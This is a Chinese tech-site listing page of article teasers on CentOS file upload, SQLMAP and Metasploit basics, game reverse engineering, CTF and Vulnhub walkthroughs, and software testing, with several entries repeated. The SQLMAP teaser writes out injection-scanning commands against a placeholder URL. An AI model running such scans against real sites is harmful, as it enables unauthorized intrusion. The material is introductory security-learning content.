    如何從xshell上傳檔案到centos linux虛擬機里及：虛擬機CentOs下執行 yum -y install lrzsz命令，出現錯誤：鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示：其實很簡單，往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號， sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求，SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生， 2020-08-28 16:18:25 分類專欄： kail 網路安全 linux 文章標簽： linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么？ 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼： #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘（北斗授時服務器）讓網路資料更精準

    北斗電力時鐘（北斗授時服務器）讓網路資料更精準 北斗電力時鐘（北斗授時服務器）讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年，資訊技術的得了快速發展，互聯網在逐漸普及，其在人們生活和生產中都得到了廣泛應用，并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用，一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub：https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺，后來才有了CTFHub。 感覺不論是網頁UI設計，還是題目質量，賽事跟蹤，工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解（net user / type /md /rd/ dir /cd /net use copy、批處理 等） 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝，密碼啊破解03Linux常用命令04LAMP 01LINUX windows： win03 8 12 16 19 配置不繁瑣 Linux：redhat,centos(紅帽社區版)，Ubuntu server,suse unix:金融機構，證券，銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 （POST注入/XSS漏洞上傳）3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題，描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • Vulnhub之DriftingBlues 5靶機詳細測驗程序（得到root shell）

    # DriftingBlues 5 ## 靶機資訊 **名稱**: DriftingBlues: 5 **地址**: ```url https://download.vulnhub.com/driftingblues/driftingblues5_vh.ova ``` ## 識別IP地址 ```sh ......

    uj5u.com 2023-05-20 08:01:30 more
  • 如何進行測驗分析與設計-HTSM啟發式測驗策略模型 | 京東云技術團

    測驗，沒有分析與設計就失去了靈魂； 測驗人員在撰寫用例之前，該如何進行測驗分析與設計呢？上次在《[測驗的底層邏輯](https://my.oschina.net/u/4090830/blog/8575899)》中講到了【輸入輸出測驗模型】，還講到了【2W+1H測驗分析法】，但2W1H分析法是初步的分 ......

    uj5u.com 2023-05-20 08:01:25 more
  • 測驗工程師都是怎么寫測驗用例的？

    很多人不知道寫測驗用例有什么用，而僅僅是像工具人一樣，在每次提測之前，把測驗用例照著需求檔案抄一遍，仿佛像是走個過場。 ......

    uj5u.com 2023-05-20 08:01:09 more
  • 軟體測驗行業面試題...

    最近看到網上流傳著各種面試經驗及面試題，往往都是一大堆技術題目貼上去，但是沒有答案。
    為此，軟體測驗面試匯總小編用業余時間整理了這份軟測常見的面試題及詳細答案，包含測驗技術面試題、開發及環境搭建類面試題以及人力資源方向的面試題，整理完發現足足有37頁！ ......

    uj5u.com 2023-05-20 08:00:55 more
  • Pose泰褲辣! 一鍵提取姿態生成新影像

    摘要：從影像提取人體姿態，用姿態資訊控制生成具有相同姿態的新影像。 本文分享自華為云社區《Pose泰褲辣! 一鍵提取姿態生成新影像》，作者： Emma_Liu 。 人體姿態骨架生成影像 ControlNet-Human Pose in Stable Diffusion 相關鏈接：Notebook案例 ......

    uj5u.com 2023-05-20 08:00:42 more
  • 面試官：作業三年，還來面初級測驗？恐怕你的軟體測驗工程師的頭銜要加

    在 20213這個針對打擊移動互聯網的凜冽寒冬，你終于明白，現在的初中級的作業機會很少，薪資很難有較大漲幅，測驗工程師的年薪是技能決定的而不是靠年限增長的，是時候去提高技能，提前規劃未來職業發展路徑了。
    作為測驗工程師的你，平時作業已經很忙了，到底該如何進階，才能快速提高薪資到30萬甚至更多呢？
    分... ......

    uj5u.com 2023-05-20 07:55:14 more
  • 5G網路PTP時鐘同步（NTP時間服務器）組網方案研究

    5G網路PTP時鐘同步（NTP時間服務器）組網方案研究 5G網路PTP時鐘同步（NTP時間服務器）組網方案研究 京準電子科技官微——ahjzsz 摘要：5G網路部署和垂直行業應用對于時間同步提出了新的需求。為了更滿足高精度的同步需求，需要采用高精度同步源技術、高精度同步傳送技術、同步監測技術、智能時 ......

    uj5u.com 2023-05-20 07:49:34 more
  • Pose泰褲辣! 一鍵提取姿態生成新影像

    摘要：從影像提取人體姿態，用姿態資訊控制生成具有相同姿態的新影像。 本文分享自華為云社區《Pose泰褲辣! 一鍵提取姿態生成新影像》，作者： Emma_Liu 。 人體姿態骨架生成影像 ControlNet-Human Pose in Stable Diffusion 相關鏈接：Notebook案例 ......

    uj5u.com 2023-05-20 07:48:57 more
  • 天翼云CDN全站加速產品對websocket協議的支持

    HTTP 協議有一個缺陷：通信只能由客戶端發起。這種單向請求的特點，注定了如果服務器有連續的狀態變化，客戶端要獲知就只能使用輪詢的方案。

    輪詢是在特定的時間間隔（如每1秒），由瀏覽器對服務器發出HTTP請求，然后由服務器回傳最新的資料給客戶端的瀏覽器。這種傳統的模式帶來很明顯的缺點，即瀏覽器需要不... ......

    uj5u.com 2023-05-20 07:48:40 more
  • 軟體測驗行業面試題...

    最近看到網上流傳著各種面試經驗及面試題，往往都是一大堆技術題目貼上去，但是沒有答案。
    為此，軟體測驗面試匯總小編用業余時間整理了這份軟測常見的面試題及詳細答案，包含測驗技術面試題、開發及環境搭建類面試題以及人力資源方向的面試題，整理完發現足足有37頁！ ......

    uj5u.com 2023-05-20 07:42:42 more

Copyright © 2010-2020 有解無憂